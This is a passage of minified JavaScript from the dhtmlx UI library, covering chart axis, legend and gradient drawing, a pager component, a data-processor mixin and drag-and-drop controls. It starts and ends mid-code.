c=[\"lineColor\",\"template\",\"lines\",\"value\"];this._converToTemplate(c,a);this._configXAxis=dhtmlx.extend({},a);return a},yAxis_setter:function(a){this._mergeSettings(a,{title:\"\",color:\"#000000\",lineColor:\"#cfcfcf\",template:\"{obj}\",lines:true,bg:\"#ffffff\"});var c=[\"lineColor\",\"template\",\"lines\",\"bg\"];this._converToTemplate(c,a);this._configYAxis=dhtmlx.extend({},a);return a},_converToTemplate:function(a,c){for(var e=0;e<a.length;e++){c[a[e]]=dhtmlx.Template.setter(c[a[e]])}},_drawScales:function(h,g,e,m,a,c){var l=0;if(this._settings.yAxis){if(!this.canvases.y){this.canvases.y=new dhtmlx.ui.Canvas(this._obj,\"axis_y\")}l=this._drawYAxis(this.canvases.y.getCanvas(),h,g,e,m,a)}if(this._settings.xAxis){if(!this.canvases.x){this.canvases.x=new dhtmlx.ui.Canvas(this._obj,\"axis_x\")}this._drawXAxis(this.canvases.x.getCanvas(),h,g,e,c,l)}return l},_drawXAxis:function(u,l,r,q,g,o){var e=r.x-0.5;var s=parseInt((o?o:q.y),10)+0.5;var c=q.x;var m;var a=true;for(var h=0;h<l.length;h++){if(this._settings.offset===true){m=e+g/2+h*g}else{m=(h==l.length-1)?q.x:e+h*g;a=!!h}m=Math.ceil(m)-0.5;var n=((this._settings.origin!=\"auto\")&&(this._settings.view==\"bar\")&&(parseFloat(this._settings.value(l[h]))<this._settings.origin));this._drawXAxisLabel(m,s,l[h],a,n);if((this._settings.offset||h)&&this._settings.xAxis.lines.call(this,l[h])){this._drawXAxisLine(u,m,q.y,r.y,l[h])}}this.canvases.x.renderTextAt(true,false,e,q.y+this._settings.padding.bottom-3,this._settings.xAxis.title,\"dhx_axis_title_x\",q.x-r.x);this._drawLine(u,e,s,c,s,this._settings.xAxis.color,1);if(!this._settings.xAxis.lines.call(this,{})||!this._settings.offset){return}this._drawLine(u,c+0.5,q.y,c+0.5,r.y+0.5,this._settings.xAxis.color,0.2)},_drawYAxis:function(w,D,l,h,n,m){var o;var u={};if(!this._settings.yAxis){return}var y=l.x-0.5;var g=h.y;var e=l.y;var v=h.y;if(this._settings.yAxis.step){o=parseFloat(this._settings.yAxis.step)}if(typeof this._configYAxis.step==\"undefined\"||typeof this._configYAxis.start==\"undefined\"||typeof this._configYAxis.end==\"undefined\"){u=this._calculateScale(n,m);n=u.start;m=u.end;o=u.step;this._settings.yAxis.end=m;this._settings.yAxis.start=n}this._setYAxisTitle(l,h);if(o===0){m=n;o=1}var a=(m==n?g-e:(g-e)*o/(m-n));var A=0;for(var x=n;x<=m;x+=o){if(u.fixNum){x=parseFloat((new Number(x)).toFixed(u.fixNum))}var C=Math.floor(g-A*a)+0.5;if(!(x==n&&this._settings.origin==\"auto\")&&this._settings.yAxis.lines.call(this,x)){this._drawLine(w,y,C,h.x,C,this._settings.yAxis.lineColor.call(this,x),1)}if(x==this._settings.origin){v=C}var q=x;if(o<1){var r=Math.min(this._log10(o),(n<=0?0:this._log10(n)));var s=Math.pow(10,-r);q=Math.round(x*s)/s;x=q}this.canvases.y.renderText(0,C-5,this._settings.yAxis.template(q.toString()),\"dhx_axis_item_y\",l.x-5);A++}this._drawLine(w,y,g+1,y,e,this._settings.yAxis.color,1);return v},_setYAxisTitle:function(e,c){var a=\"dhx_axis_title_y\"+(dhtmlx._isIE&&dhtmlx._isIE!=9?\" dhx_ie_filter\":\"\");var g=this.canvases.y.renderTextAt(\"middle\",false,0,parseInt((c.y-e.y)/2+e.y,10),this._settings.yAxis.title,a);if(g){g.style.left=(dhtmlx.env.transform?(g.offsetHeight-g.offsetWidth)/2:0)+\"px\"}},_calculateScale:function(q,c){if(this._settings.origin!=\"auto\"&&this._settings.origin<q){q=this._settings.origin}var h,g,m;h=((c-q)/8)||1;var e=Math.floor(this._log10(h));var a=Math.pow(10,e);var l=h/a;l=(l>5?10:5);h=parseInt(l,10)*a;if(h>Math.abs(q)){g=(q<0?-h:0)}else{var r=Math.abs(q);var o=Math.floor(this._log10(r));var n=r/Math.pow(10,o);g=Math.ceil(n*10)/10*Math.pow(10,o)-h;if(r>1&&h>0.1){g=Math.ceil(g)}while(q<0?g<=q:g>=q){g-=h}if(q<0){g=-g-2*h}}m=g;while(m<c){m+=h;m=parseFloat((new Number(m)).toFixed(Math.abs(e)))}return{start:g,end:m,step:h,fixNum:Math.abs(e)}},_getLimits:function(c,m){var n,l;var h=((arguments.length&&c==\"h\")?this._configXAxis:this._configYAxis);m=m||\"value\";if(h&&(typeof h.end!=\"undefined\")&&(typeof h.start!=\"undefined\")&&h.step){n=parseFloat(h.end);l=parseFloat(h.start)}else{n=this.max(this._series[0][m]);l=(h&&(typeof h.start!=\"undefined\"))?parseFloat(h.start):this.min(this._series[0][m]);if(this._series.length>1){for(var g=1;g<this._series.length;g++){var a=this.max(this._series[g][m]);var e=this.min(this._series[g][m]);if(a>n){n=a}if(e<l){l=e}}}}return{max:n,min:l}},_log10:function(c){var a=\"log\";return Math.floor((Math[a](c)/Math.LN10))},_drawXAxisLabel:function(c,l,h,a,g){if(!this._settings.xAxis){return}var e=this.canvases.x.renderTextAt(g,a,c,l-(g?2:0),this._settings.xAxis.template(h));if(e){e.className+=\" dhx_axis_item_x\"}},_drawXAxisLine:function(c,a,g,e,h){if(!this._settings.xAxis||!this._settings.xAxis.lines){return}this._drawLine(c,a,g,a,e,this._settings.xAxis.lineColor.call(this,h),1)},_drawLine:function(a,g,m,e,h,c,l){a.strokeStyle=c;a.lineWidth=l;a.beginPath();a.moveTo(g,m);a.lineTo(e,h);a.stroke();a.lineWidth=1},_getRelativeValue:function(g,h){var e,a;var c=1;if(h!=g){e=h-g}else{e=g}return[e,c]},_rainbow:[function(a){return\"#FF\"+dhtmlx.math.toHex(a/2,2)+\"00\"},function(a){return\"#FF\"+dhtmlx.math.toHex(a/2+128,2)+\"00\"},function(a){return\"#\"+dhtmlx.math.toHex(255-a,2)+\"FF00\"},function(a){return\"#00FF\"+dhtmlx.math.toHex(a,2)},function(a){return\"#00\"+dhtmlx.math.toHex(255-a,2)+\"FF\"},function(a){return\"#\"+dhtmlx.math.toHex(a,2)+\"00FF\"}],addSeries:function(c){var a=this._settings;this._settings=dhtmlx.extend({},a);this._parseSettings(c,{});this._series.push(this._settings);this._settings=a},_switchSerie:function(g,a){var e;this._active_serie=a.getAttribute(\"userdata\");if(!this._series[this._active_serie]){return}for(var c=0;c<this._series.length;c++){e=this._series[c].tooltip;if(e){e.disable()}}if(!a.getAttribute(\"disabled\")){e=this._series[this._active_serie].tooltip;if(e){e.enable()}}},hideSeries:function(a){this.canvases[a].hideCanvas();if(this._settings.legend.values&&this._settings.legend.values[a]){this._settings.legend.values[a].$hidden=true}this._drawLegend()},showSeries:function(a){this.canvases[a].showCanvas();if(this._settings.legend.values&&this._settings.legend.values[a]){delete this._settings.legend.values[a].$hidden}this._drawLegend()},_setBorderStyles:function(a,c){var g,e;e=dhtmlx.math.toRgb(c);g=dhtmlx.math.rgbToHsv(e[0],e[1],e[2]);g[2]/=2;c=\"rgb(\"+dhtmlx.math.hsvToRgb(g[0],g[1],g[2])+\")\";a.strokeStyle=c;if(a.globalAlpha==1){a.globalAlpha=0.9}},_drawLegend:function(g,c){var h,q,w,r,l,s,a,n=0,m=0,v,o,e,u;g=g||[];c=c||this._obj.offsetWidth;v=this.canvases.legend.getCanvas();q=this._settings.legend;a=(this._settings.legend.layout!=\"x\"?\"width:\"+q.width+\"px\":\"\");if(this.legendObj){this.legendObj.innerHTML=\"\";this.legendObj.parentNode.removeChild(this.legendObj)}this.canvases.legend.clearCanvas(true);w=dhtmlx.html.create(\"DIV\",{\"class\":\"dhx_chart_legend\",style:\"left:\"+n+\"px; top:\"+m+\"px;\"+a},\"\");if(q.padding){w.style.padding=q.padding+\"px\"}this.legendObj=w;this._obj.appendChild(w);l=[];if(!q.values){for(h=0;h<g.length;h++){l.push(this._drawLegendText(w,q.template(g[h])))}}else{for(h=0;h<q.values.length;h++){l.push(this._drawLegendText(w,q.values[h].text,(typeof q.values[h].id!=\"undefined\"?typeof q.values[h].id:h),q.values[h].$hidden))}}s=w.offsetWidth;r=w.offsetHeight;if(s<this._obj.offsetWidth){if(q.layout==\"x\"&&q.align==\"center\"){n=(this._obj.offsetWidth-s)/2}if(q.align==\"right\"){n=this._obj.offsetWidth-s}if(q.margin&&q.align!=\"center\"){n+=(q.align==\"left\"?1:-1)*q.margin}}if(r<this._obj.offsetHeight){if(q.valign==\"middle\"&&q.align!=\"center\"&&q.layout!=\"x\"){m=(this._obj.offsetHeight-r)/2}else{if(q.valign==\"bottom\"){m=this._obj.offsetHeight-r}}if(q.margin&&q.valign!=\"middle\"){m+=(q.valign==\"top\"?1:-1)*q.margin}}w.style.left=n+\"px\";w.style.top=m+\"px\";v.save();for(h=0;h<l.length;h++){u=l[h];if(q.values&&q.values[h].$hidden){e=true;o=(q.values[h].disableColor?q.values[h].disableColor:\"#d9d9d9\")}else{e=false;o=(q.values?q.values[h].color:this._settings.color.call(this,g[h]))}this._drawLegendMarker(v,u.offsetLeft+n,u.offsetTop+m,o,u.offsetHeight,e,h)}v.restore();l=null},_drawLegendText:function(a,h,c,g){var e=\"\";if(this._settings.legend.layout==\"x\"){e=\"float:left;\"}var l=dhtmlx.html.create(\"DIV\",{style:e+\"padding-left:\"+(10+this._settings.legend.marker.width)+\"px\",\"class\":\"dhx_chart_legend_item\"+(g?\" hidden\":\"\")},h);if(arguments.length>2){l.setAttribute(\"series_id\",c)}a.appendChild(l);return l},_drawLegendMarker:function(A,s,r,h,w,l,n){var c=[];var m=this._settings.legend.marker;var v=this._settings.legend.values;var q=(v&&v[n].markerType?v[n].markerType:m.type);if(h){A.fillStyle=h;A.strokeStyle=this._getDarkenColor(h,0.75)}A.beginPath();if(q==\"round\"||!m.radius){A.lineWidth=m.height;A.lineCap=q;s+=A.lineWidth/2+5;r+=w/2;A.moveTo(s,r);var a=s+m.width-m.height+1;A.lineTo(a,r)}else{if(q==\"item\"){if(this._settings.line&&this._settings.view!=\"scatter\"&&!this._settings.disableLines){A.beginPath();A.lineWidth=this._series[n].line.width;A.strokeStyle=l?h:this._series[n].line.color.call(this,{});var e=s+5;var u=r+w/2;A.moveTo(e,u);var a=e+m.width;A.lineTo(a,u);A.stroke()}var g=this._series[n].item;var o=parseInt(g.radius.call(this,{}),10)||0;if(o){A.beginPath();if(l){A.lineWidth=g.borderWidth;A.strokeStyle=h;A.fillStyle=h}else{A.lineWidth=g.borderWidth;A.fillStyle=g.color.call(this,{});A.strokeStyle=g.borderColor.call(this,{});A.globalAlpha=g.alpha.call(this,{})}A.beginPath();s+=m.width/2+5;r+=w/2;this._strokeChartItem(A,s,r,o+1,g.type);A.fill();A.stroke()}A.globalAlpha=1}else{A.lineWidth=1;s+=5;r+=parseInt(w/2-m.height/2,10);c=[[s+m.radius,r+m.radius,m.radius,Math.PI,3*Math.PI/2,false],[s+m.width-m.radius,r],[s+m.width-m.radius,r+m.radius,m.radius,-Math.PI/2,0,false],[s+m.width,r+m.height-m.radius],[s+m.width-m.radius,r+m.height-m.radius,m.radius,0,Math.PI/2,false],[s+m.radius,r+m.height],[s+m.radius,r+m.height-m.radius,m.radius,Math.PI/2,Math.PI,false],[s,r+m.radius]];this._path(A,c)}}A.stroke();A.fill()},_getDarkenColor:function(a,g){var e,c;c=dhtmlx.math.toRgb(a);e=dhtmlx.math.rgbToHsv(c[0],c[1],c[2]);e[2]=e[2]*g;return\"rgb(\"+dhtmlx.math.hsvToRgb(e[0],e[1],e[2])+\")\"},_getChartBounds:function(a,m){var o,e,n,c;o=this._settings.padding.left;e=this._settings.padding.top;n=a-this._settings.padding.right;c=m-this._settings.padding.bottom;if(this._settings.legend){var h=this._settings.legend;var l=this._settings.legend.width;var g=this._settings.legend.height;if(h.layout==\"x\"){if(h.valign==\"center\"){if(h.align==\"right\"){n-=l}else{if(h.align==\"left\"){o+=l}}}else{if(h.valign==\"bottom\"){c-=g}else{e+=g}}}else{if(h.align==\"right\"){n-=l}else{if(h.align==\"left\"){o+=l}}}}return{start:{x:o,y:e},end:{x:n,y:c}}},_getStackedLimits:function(h){var c,a,l,g,e;if(this._settings.yAxis&&(typeof this._settings.yAxis.end!=\"undefined\")&&(typeof this._settings.yAxis.start!=\"undefined\")&&this._settings.yAxis.step){l=parseFloat(this._settings.yAxis.end);g=parseFloat(this._settings.yAxis.start)}else{for(c=0;c<h.length;c++){h[c].$sum=0;h[c].$min=Infinity;for(a=0;a<this._series.length;a++){e=parseFloat(this._series[a].value(h[c])||0);if(isNaN(e)){continue}if(this._series[a].view.toLowerCase().indexOf(\"stacked\")!=-1){h[c].$sum+=e}if(e<h[c].$min){h[c].$min=e}}}l=-Infinity;g=Infinity;for(c=0;c<h.length;c++){if(h[c].$sum>l){l=h[c].$sum}if(h[c].$min<g){g=h[c].$min}}if(g>0){g=0}}return{max:l,min:g}},_setBarGradient:function(v,c,r,a,o,n,g,e){var q,h,m,l,u,s;if(n==\"light\"){if(e==\"x\"){q=v.createLinearGradient(c,r,a,r)}else{q=v.createLinearGradient(c,r,c,o)}s=[[0,\"#FFFFFF\"],[0.9,g],[1,g]];h=2}else{if(n==\"falling\"||n==\"rising\"){if(e==\"x\"){q=v.createLinearGradient(c,r,a,r)}else{q=v.createLinearGradient(c,r,c,o)}m=dhtmlx.math.toRgb(g);l=dhtmlx.math.rgbToHsv(m[0],m[1],m[2]);l[1]*=1/2;u=\"rgb(\"+dhtmlx.math.hsvToRgb(l[0],l[1],l[2])+\")\";if(n==\"falling\"){s=[[0,u],[0.7,g],[1,g]]}else{if(n==\"rising\"){s=[[0,g],[0.3,g],[1,u]]}}h=0}else{v.globalAlpha=0.37;h=0;if(e==\"x\"){q=v.createLinearGradient(c,o,c,r)}else{q=v.createLinearGradient(c,r,a,r)}s=[[0,\"#9d9d9d\"],[0.3,\"#e8e8e8\"],[0.45,\"#ffffff\"],[0.55,\"#ffffff\"],[0.7,\"#e8e8e8\"],[1,\"#9d9d9d\"]]}}this._gradient(q,s);return{gradient:q,offset:h}},_getPositionByAngle:function(e,c,h,g){e*=(-1);c=c+Math.cos(e)*g;h=h-Math.sin(e)*g;return{x:c,y:h}},_gradient:function(e,c){for(var a=0;a<c.length;a++){e.addColorStop(c[a][0],c[a][1])}},_path:function(a,e){var c,g;for(c=0;c<e.length;c++){g=(c?\"lineTo\":\"moveTo\");if(e[c].length>2){g=\"arc\"}a[g].apply(a,e[c])}},_circle:function(c,a,g,e){c.arc(a,g,e,Math.PI*2,true)},_addMapRect:function(g,h,a,e,c){g.addRect(h,[a[0].x-e.x,a[0].y-e.y,a[1].x-e.x,a[1].y-e.y],c)}};dhtmlx.compat(\"layout\");if(typeof(window.dhtmlXCellObject)!=\"undefined\"){dhtmlXCellObject.prototype.attachChart=function(a){this.callEvent(\"_onBeforeContentAttach\",[\"chart\"]);var c=document.createElement(\"DIV\");c.id=\"dhxChartObj_\"+window.dhx4.newId();c.style.width=\"100%\";c.style.height=\"100%\";document.body.appendChild(c);this._attachObject(c);a.container=c.id;this.dataType=\"chart\";this.dataObj=new dhtmlXChart(a);if(!this.dataObj.setSizes){this.dataObj.setSizes=function(){if(this.resize){this.resize()}else{this.render()}}}return this.dataObj}}dhtmlx.ui.pager=function(a){this.name=\"Pager\";if(dhtmlx.assert_enabled()){this._assert()}dhtmlx.extend(this,dhtmlx.Settings);this._parseContainer(a,\"dhx_pager\");dhtmlx.extend(this,dhtmlx.EventSystem);dhtmlx.extend(this,dhtmlx.SingleRender);dhtmlx.extend(this,dhtmlx.MouseEvents);this._parseSettings(a,{size:10,page:-1,group:5,count:0,type:\"default\"});this.data=this._settings;this.refresh()};dhtmlx.ui.pager.prototype={_id:\"dhx_p_id\",on_click:{dhx_pager_item:function(a,c){this.select(c)}},select:function(a){switch(a){case\"next\":a=this._settings.page+1;break;case\"prev\":a=this._settings.page-1;break;case\"first\":a=0;break;case\"last\":a=this._settings.limit-1;break;default:break}if(a<0){a=0}if(a>=this.data.limit){a=this.data.limit-1}if(this.callEvent(\"onBeforePageChange\",[this._settings.page,a])){this.data.page=a*1;this.refresh();this.callEvent(\"onAfterPageChange\",[a])}},types:{\"default\":{template:dhtmlx.Template.fromHTML(\"{common.pages()}\"),pages:function(e){var c=\"\";if(e.page==-1){return\"\"}e.min=e.page-Math.round((e.group-1)/2);e.max=e.min+e.group-1;if(e.min<0){e.max+=e.min*(-1);e.min=0}if(e.max>=e.limit){e.min-=Math.min(e.min,e.max-e.limit+1);e.max=e.limit-1}for(var a=(e.min||0);a<=e.max;a++){c+=this.button({id:a,index:(a+1),selected:(a==e.page?\"_selected\":\"\")})}return c},page:function(a){return a.page+1},first:function(){return this.button({id:\"first\",index:\" &lt;&lt; \",selected:\"\"})},last:function(){return this.button({id:\"last\",index:\" &gt;&gt; \",selected:\"\"})},prev:function(){return this.button({id:\"prev\",index:\"&lt;\",selected:\"\"})},next:function(){return this.button({id:\"next\",index:\"&gt;\",selected:\"\"})},button:dhtmlx.Template.fromHTML(\"<div dhx_p_id='{obj.id}' class='dhx_pager_item{obj.selected}'>{obj.index}</div>\")}},refresh:function(){var a=this._settings;a.limit=Math.ceil(a.count/a.size);if(a.limit&&a.limit!=a.old_limit){a.page=Math.min(a.limit-1,a.page)}var c=a.page;if(c!=-1&&(c!=a.old_page)||(a.limit!=a.old_limit)){this.render();this.callEvent(\"onRefresh\",[]);a.old_limit=a.limit;a.old_page=a.page}},template_item_start:dhtmlx.Template.fromHTML(\"<div>\"),template_item_end:dhtmlx.Template.fromHTML(\"</div>\")};dhtmlx.DataProcessor={_dp_init:function(c){var a=\"_methods\";c[a]=[\"setItemStyle\",\"\",\"changeId\",\"remove\"];this.attachEvent(\"onAfterAdd\",function(e){c.setUpdated(e,true,\"inserted\")});this.data.attachEvent(\"onStoreLoad\",dhtmlx.bind(function(g,e){if(g.getUserData){g.getUserData(e,this._userdata)}},this));this.attachEvent(\"onBeforeDelete\",function(g){if(c._silent_mode){return true}var e=c.getState(g);if(e==\"inserted\"){c.setUpdated(g,false);return true}if(e==\"deleted\"){return false}if(e==\"true_deleted\"){return true}c.setUpdated(g,true,\"deleted\");return false});this.attachEvent(\"onAfterEditStop\",function(e){c.setUpdated(e,true,\"updated\")});this.attachEvent(\"onBindUpdate\",function(e){window.setTimeout(function(){c.setUpdated(e.id,true,\"updated\")},1)});a=\"_getRowData\";c[a]=function(m,e){var h=this.obj.data.get(m);var l={};for(var g in h){if(g.indexOf(\"_\")===0){continue}l[g]=h[g]}return l};a=\"_clearUpdateFlag\";c[a]=function(){};this._userdata={};c.attachEvent(\"insertCallback\",this._dp_callback);c.attachEvent(\"updateCallback\",this._dp_callback);c.attachEvent(\"deleteCallback\",function(e,g){this.obj.setUserData(g,this.action_param,\"true_deleted\");this.obj.remove(g)});dhtmlx.compat(\"dataProcessor\",c)},_dp_callback:function(a,c){this.obj.data.set(c,dhtmlx.DataDriver.xml.getDetails(a.firstChild));this.obj.data.refresh(c)},setItemStyle:function(e,a){var c=this._locateHTML(e);if(c){c.style.cssText+=\";\"+a}},changeId:function(c,a){this.data.changeId(c,a);this.refresh()},setUserData:function(e,a,c){if(e){this.data.get(e)[a]=c}else{this._userdata[a]=c}},getUserData:function(c,a){return c?this.data.get(c)[a]:this._userdata[a]}};(function(){var a=\"_dp_init\";dhtmlx.DataProcessor[a]=dhtmlx.DataProcessor._dp_init})();dhtmlx.compat.dnd=function(){if(window.dhtmlDragAndDropObject){var n=\"_dragged\";var g=dhtmlDragAndDropObject.prototype.checkLanding;dhtmlDragAndDropObject.prototype.checkLanding=function(q,r,o){g.apply(this,arguments);if(!o){var s=dhtmlx.DragControl._drag_context=dhtmlx.DragControl._drag_context||{};if(!s.from){s.from=this.dragStartObject}dhtmlx.DragControl._checkLand(q,r,true)}};var c=dhtmlDragAndDropObject.prototype.stopDrag;dhtmlDragAndDropObject.prototype.stopDrag=function(r,o,q){if(!q){if(dhtmlx.DragControl._last){dhtmlx.DragControl._active=m.dragStartNode;dhtmlx.DragControl._stopDrag(r,true)}}c.apply(this,arguments)};var m=new dhtmlDragAndDropObject();var h=dhtmlx.DragControl._startDrag;dhtmlx.DragControl._startDrag=function(){h.apply(this,arguments);var s=dhtmlx.DragControl._drag_context;if(!s){return}var r=[];var q=[];for(var o=0;o<s.source.length;o++){r[o]={idd:s.source[o]};q.push(s.source[o])}m.dragStartNode={parentNode:{},parentObject:{idd:r,id:(q.length==1?q[0]:q),treeNod:{object:s.from}}};m.dragStartNode.parentObject.treeNod[n]=r;m.dragStartObject=s.from};var l=dhtmlx.DragControl._checkLand;dhtmlx.DragControl._checkLand=function(q,r,o){l.apply(this,arguments);if(!this._last&&!o){q=m.checkLanding(q,r,true)}};var a=dhtmlx.DragControl._stopDrag;dhtmlx.DragControl._stopDrag=function(q,o){a.apply(this,arguments);if(m.lastLanding&&!o){m.stopDrag(q,false,true)}};var e=dhtmlx.DragControl.getMaster;dhtmlx.DragControl.getMaster=function(q){var r=null;if(q){r=e.apply(this,arguments)}if(!r){r=m.dragStartObject;var s=[];var u=r[n];for(var o=0;o<u.length;o++){s.push(u[o].idd||u[o].id)}dhtmlx.DragControl._drag_context.source=s}return r}}};dhtmlx.DataMove={_init:function(){dhtmlx.assert(this.data,\"DataMove :: Component doesn't have DataStore\")},copy:function(c,h,a,g){var e=this.get(c);if(!e){dhtmlx.log(\"Warning\",\"Incorrect ID in DataMove::copy\");return}if(a){dhtmlx.assert(a.externalData,\"DataMove :: External object doesn't support operation\");e=a.externalData(e)}a=a||this;return a.add(a.externalData(e,g),h)},move:function(e,m,c,l){if(e instanceof Array){for(var g=0;g<e.length;g++){var a=(c||this).indexById(this.move(e[g],m,c,e[g]));if(e[g+1]){m=a+(this.indexById(e[g+1])<a?0:1)}}return}nid=e;if(m<0){dhtmlx.log(\"Info\",\"DataMove::move - moving outside of bounds is ignored\");return}var h=this.get(e);if(!h){dhtmlx.log(\"Warning\",\"Incorrect ID in DataMove::move\");return}if(!c||c==this){this.data.move(this.indexById(e),m)}else{dhtmlx.assert(c.externalData,\"DataMove :: External object doesn't support operation\");nid=c.add(c.externalData(h,l),m);this.remove(e)}return nid},moveUp:function(c,a){return this.move(c,this.indexById(c)-(a||1))},moveDown:function(c,a){return this.moveUp(c,(a||1)*-1)},moveTop:function(a){return this.move(a,0)},moveBottom:function(a){return this.move(a,this.data.dataCount()-1)},externalData:function(a,e){var c=dhtmlx.extend({},a);c.id=e||dhtmlx.uid();c.$selected=c.$template=null;return c}};dhtmlx.DragControl={_drag_masters:dhtmlx.toArray([\"dummy\"]),addDrop:function(c,e,a){c=dhtmlx.toNode(c);c.dhx_drop=this._getCtrl(e);if(a){c.dhx_master=true}},_getCtrl:function(c){c=c||dhtmlx.DragControl;var a=this._drag_masters.find(c);if(a<0){a=this._drag_masters.length;this._drag_masters.push(c)}return a},addDrag:function(a,c){a=dhtmlx.toNode(a);a.dhx_drag=this._getCtrl(c);dhtmlx.event(a,\"mousedown\",this._preStart,a)},_preStart:function(a){if(dhtmlx.DragControl._active){dhtmlx.DragControl._preStartFalse();dhtmlx.DragControl.destroyDrag()}dhtmlx.DragControl._active=this;dhtmlx.DragControl._start_pos={x:a.pageX,y:a.pageY};dhtmlx.DragControl._dhx_drag_mm=dhtmlx.event(document.body,\"mousemove\",dhtmlx.DragControl._startDrag);dhtmlx.DragControl._dhx_drag_mu=dhtmlx.event(document.body,\"mouseup\",dhtmlx.DragControl._preStartFalse);dhtmlx.DragControl._dhx_drag_sc=dhtmlx.event(this,\"scroll\",dhtmlx.DragControl._preStartFalse);a.cancelBubble=true;return false},_preStartFalse:function(a){dhtmlx.DragControl._dhx_drag_mm=dhtmlx.eventRemove(dhtmlx.DragControl._dhx_drag_mm);dhtmlx.DragControl._dhx_drag_mu=dhtmlx.eventRemove(dhtmlx.DragControl._dhx_drag_mu);dhtmlx.DragControl._dhx_drag_sc=dhtmlx.eventRemove(dhtmlx.DragControl._dhx_drag_sc)},_startDrag:function(a){var c={x:a.pageX,y:a.pageY};if(Math.abs(c.x-dhtmlx.DragControl._start_pos.x)<5&&Math.abs(c.y-dhtmlx.DragControl._start_pos.y)<5){return}dhtmlx.DragControl._preStartFalse();if(!dhtmlx.DragControl.createDrag(a)){return}dhtmlx.DragControl.sendSignal(\"start\");dhtmlx.DragControl._dhx_drag_mm=dhtmlx.event(document.body,\"mousemove\",dhtmlx.DragControl._moveDrag);dhtmlx.DragControl._dhx_drag_mu=dhtmlx.event(document.body,\"mouseup\",dhtmlx.DragControl._stopDrag);dhtmlx.DragControl._moveDrag(a)},_stopDrag:function(a){dhtmlx.DragControl._dhx_drag_mm=dhtmlx.eventRemove(dhtmlx.DragControl._dhx_drag_mm);dhtmlx.DragControl._dhx_drag_mu=dhtmlx.eventRemove(dhtmlx.DragControl._dhx_drag_mu);if(dhtmlx.DragControl._last){dhtmlx.DragControl.onDrop(dhtmlx.DragControl._active,dhtmlx.DragControl._last,this._landing,a);dhtmlx.DragControl.onDragOut(dhtmlx.DragControl._active,dhtmlx.DragControl._last,null,a)}dhtmlx.DragControl.destroyDrag();dhtmlx.DragControl.sendSignal(\"stop\")},_moveDrag:function(a){var c=dhtmlx.html.pos(a);dhtmlx.DragControl._html.style.top=c.y+dhtmlx.DragControl.top+\"px\";dhtmlx.DragControl._html.style.left=c.x+dhtmlx.DragControl.left+\"px\";if(dhtmlx.DragControl._skip){dhtmlx.DragControl._skip=false}else{dhtmlx.DragControl._checkLand((a.srcElement||a.target),a)}a.cancelBubble=true;return false},_checkLand:function(a,c){while(a&&a.tagName!=\"BODY\"){if(a.dhx_drop){if(this._last&&(this._last!=a||a.dhx_master)){this.onDragOut(this._active,this._last,a,c)}if(!this._last||this._last!=a||a.dhx_master){this._last=null;this._landing=this.onDragIn(dhtmlx.DragControl._active,a,c);if(this._landing){this._last=a}return}return}a=a.parentNode}if(this._last){this._last=this._landing=this.onDragOut(this._active,this._last,null,c)}},sendSignal:function(a){dhtmlx.DragControl.active=(a==\"start\")},getMaster:function(a){return this._drag_masters[a.dhx_drag||a.dhx_drop]},getContext:function(a){return this._drag_context},createDrag:function(l){var g=dhtmlx.DragControl._active;var h=this._drag_masters[g.dhx_drag];var c;if(h.onDragCreate){c=h.onDragCreate(g,l);c.style.position=\"absolute\";c.style.zIndex=dhtmlx.zIndex.drag;c.onmousemove=dhtmlx.DragControl._skip_mark}else{var m=dhtmlx.DragControl.onDrag(g,l);if(!m){return false}var c=document.createElement(\"DIV\");c.innerHTML=m;c.className=\"dhx_drag_zone\";c.onmousemove=dhtmlx.DragControl._skip_mark;document.body.appendChild(c)}dhtmlx.DragControl._html=c;return true},_skip_mark:function(){dhtmlx.DragControl._skip=true},destroyDrag:function(){var c=dhtmlx.DragControl._active;var e=this._drag_masters[c.dhx_drag];if(e&&e.onDragDestroy){e.onDragDestroy(c,dhtmlx.DragControl._html)}else{dhtmlx.html.remove(dhtmlx.DragControl._html)}dhtmlx.DragControl._landing=dhtmlx.DragControl._active=dhtmlx.DragControl._last=dhtmlx.DragControl._html=null},top:5,left:5,onDragIn:function(g,c,h){var a=this._drag_masters[c.dhx_drop];if(a.onDragIn&&a!=this){return a.onDragIn(g,c,h)}c.className=c.className+\" dhx_drop_zone\";return c},onDragOut:function(g,c,l,h){var a=this._drag_masters[c.dhx_drop];if(a.onDragOut&&a!=this){return a.onDragOut(g,c,l,h)}c.className=c.className.replace(\"dhx_drop_zone\",\"\");return null},onDrop:function(g,c,l,h){var a=this._drag_masters[c.dhx_drop];dhtmlx.DragControl._drag_context.from=dhtmlx.DragControl.getMaster(g);if(a.onDrop&&a!=this){return a.onDrop(g,c,l,h)}c.appendChild(g)},onDrag:function(c,g){var a=this._drag_masters[c.dhx_drag];if(a.onDrag&&a!=this){return a.onDrag(c,g)}dhtmlx.DragControl._drag_context={source:c,from:c};return\"<div style='\"+c.style.cssText+\"'>\"+c.innerHTML+\"</div>\"}};dhtmlx.DragItem={_init:function(){dhtmlx.assert(this.move,\"DragItem :: Component doesn't have DataMove interface\");dhtmlx.assert(this.locate,\"DragItem :: Component doesn't have RenderStack interface\");dhtmlx.assert(dhtmlx.DragControl,\"DragItem :: DragControl is not included\");if(!this._settings||this._settings.drag){dhtmlx.DragItem._initHandlers(this)}else{if(this._settings){this.drag_setter=function(a){if(a){this._initHandlers(this);delete this.drag_setter}return a}}}if(this.dragMarker){this.attachEvent(\"onBeforeDragIn\",this.dragMarker);this.attachEvent(\"onDragOut\",this.dragMarker)}},_initHandlers:function(a){dhtmlx.DragControl.addDrop(a._obj,a,true);dhtmlx.DragControl.addDrag(a._obj,a)},onDragIn:function(h,g,l){var n=this.locate(l)||null;var c=dhtmlx.DragControl._drag_context;var m=dhtmlx.DragControl.getMaster(h);var a=(this._locateHTML(n)||this._obj);if(a==dhtmlx.DragControl._landing){return a}c.target=n;c.to=m;if(!this.callEvent(\"onBeforeDragIn\",[c,l])){c.id=null;return null}dhtmlx.html.addCss(a,\"dhx_drag_over\");return a},onDragOut:function(h,g,o,l){var m=this.locate(l)||null;if(o!=this._dataobj){m=null}var c=(this._locateHTML(m)||(o?dhtmlx.DragControl.getMaster(o)._obj:window.undefined));if(c==dhtmlx.DragControl._landing){return null}var a=dhtmlx.DragControl._drag_context;dhtmlx.html.removeCss(dhtmlx.DragControl._landing,\"dhx_drag_over\");a.target=a.to=null;this.callEvent(\"onDragOut\",[a,l]);return null},onDrop:function(g,c,l,h){var 